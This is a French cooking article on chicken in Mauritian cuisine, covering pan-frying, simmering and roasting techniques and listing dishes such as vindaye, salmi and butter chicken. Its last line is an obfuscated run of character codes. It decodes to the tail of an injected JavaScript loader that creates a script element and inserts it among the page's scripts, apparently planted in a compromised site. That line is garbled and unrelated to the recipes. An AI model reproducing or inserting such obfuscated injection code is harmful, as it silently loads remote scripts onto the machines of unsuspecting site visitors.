Le Poulet – La Star de la Cuisine Mauricienne


Aimez-vous un bon morceau de filet de poulet avec une croûte bien croustillante et savoureuse avec une bonne bière?

le poulet dans la cuisine mauricienne

Le poulet est sans aucun doute la viande la plus consommée à Maurice, loin devant le poisson ou le bœuf. Meilleur marché que la viande rouge, il possède aussi de nombreux atouts nutritionnels et s’incruste facilement de mille et une façons dans la cuisine. De plus sa faible teneur en graisse, sa richesse en protéines et son effet rassasiant élevé en font une viande blanche à consommer fréquemment pour tous ceux qui souhaitent conserver la ligne.

Si vous pensiez connaître cette viande blanche par cœur, vous risquez d’être surpris, tant elle déborde de méthodes de préparation, en entrée comme en plat. Ce qui tombe plutôt bien, puisqu’on vous a choisi nos recettes de poulet préférées pour un repas réussi. Sauté ou grillé, en salmi ou en vindaye ou encore au miel? Découvrez nos coups de cœur.

Pour bien commencer, voici quelques conseils sur la préparation du poulet:

Laver un Poulet Cru Peut Causer une Intoxication Alimentaire


Le Poulet à la Mauricienne - Des saveurs bien de chez nous

poulet cuisine mauricienne

Le poulet est un aliment sain qui a de plus l'avantage d'être apprécié par tous, même par les petits. On peut le préparer de diverses manières, ce qui en fait un aliment que l'on peut consommer fréquemment.

Si vous manquez d’idées pour transformer l’escalope, laissez nous vous entraîner sur la route des plats classiques. Dans le monde entier, les recettes à base de poulet sont des classiques. Le poulet se cuisine en sauce, rôti, bouilli, découpé ou entier.

Vous l’aurez compris, les variantes sont nombreuses et diverses. Une chose est certaine, cependant: le bon vieux curry servi avec du riz et des lentilles noires, ou simplement enrobé d’un farata, restera à jamais l’un des plats incontournables.

Pour varier les plaisirs, on vous propose de découvrir ou redécouvrir les meilleures façons de déguster le poulet.


A la poêle

poulet a la poele

Par poêler, nous entendons colorer et cuire des morceaux de poulet dans une poêle avec la matière grasse (beurre ou huile). Il est important d’avoir une bonne source de chaleur et une poêle qui reste chaude pendant que l’eau s’évapore. Si la poêle refroidit trop rapidement et que l’eau ne s’évapore pas, le poulet mijote dans son propre jus et ne brunit pas.

La cuisson se déroule plus rapidement et de façon plus uniforme si la viande est à température ambiante quand elle passé à la poêle et qu’on le retourne souvent. Ne laissez pas reposer le poulet assaisonné trop longtemps avant de la poêler car le sel retire l’eau de la viande.

Essayez le kofta de poulet au curry pour une abondance de saveurs. De bonnes boulettes de poulet, une sauce au curry riche en saveurs et du riz – bref, un mélange que beaucoup apprécieront sans doute. Ou si vous préférez ni ragoût ni sauté, optez pour la fricassée de poulet, un plat réconfortant pour toute la famille.

Curry de Poulet Kofta
Fricassée de Poulet

Le poulet au beurre (plus connu comme le Butter Chicken) est un incontournable des restaurants indiens. Cette recette requiert du beurre clarifié (ghee), qui, en permettant d'atteindre des températures plus élevées que le beurre régulier, est donc capable de faire ressortir toute la saveur des épices.

Poulet au beurre indien (Butter Chicken)


A la casserole

poulet a la casserole

Mijoter consiste à faire cuire des morceaux de poulet à la casserole ou au four à température moyenne (150 °C) dans un liquide auquel on a ajouté des légumes et/ou des herbes. La température de la préparation ne doit pas dépasser 80 °C. La préparation est entièrement recouverte du liquide. Coupez le poulet en morceaux aussi gros que possible. Vous pouvez aussi mariner les morceaux au préalable pour plus de saveurs.

Poulet au curry, ou le fameux cari poule dan masala, vous séduira par l'alliance de la force et de la douceur. Vous pouvez notamment essayer la vindaye de poulet, un plat épicé à base de moutarde ou le salmi poulet.

Poulet Masala au Curry Épicé 
Vindaye de Poulet
Salmi Poulet


Rôti ou Barbecue

poulet roti bbq

La grillade est une technique de cuisson de courte durée que vous pouvez appliquer aux morceaux de poulet tendres et relativement minces. Il ne faut pas assaisonner le poulet avec des herbes car celles-ci brûlent immédiatement sous l’effet de la chaleur du gril. Avec la technique de la rôtissoire, le poulet est posé sur une grille amovible au-dessus du feu (charbon de bois ou flames). En raison de la chaleur forte et intense, cette méthode est celle qui convient le mieux pour les petits morceaux de poulet. D’ailleurs, le poulet rôti est le plat traditionnel le plus incontournable du repas de famille lors des fêtes.

On aime tous la douce odeur du poulet longuement rôti, qu'il s'agisse d'un poulet entier, de cuisse ou de blancs, choisissez le bio, pour une chair plus moelleuse et riche en goût.

Sur un barbecue le foyer se trouve plus éloigné du poulet. Veillez à ce que le barbecue soit d’abord bien à température avant de commencer à griller. Une fois que le poulet est grillé, placez la viande à un endroit moins chaud jusqu’à ce qu’il ait atteint le degré de cuisson désiré.

A essayer

Poulet Grillé d’Inspiration Asiatique
Poulet Rôti



Quel que soit votre choix, ces recettes simples à réaliser et savoureuses sont des véritables explosions de saveurs et un dépaysement gustatif total. En bref, on vous les conseille sans hésitation.

A essayer

Ailes de Poulet au Miel
Poulet Croustillant
Tikka de Poulet

12,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));

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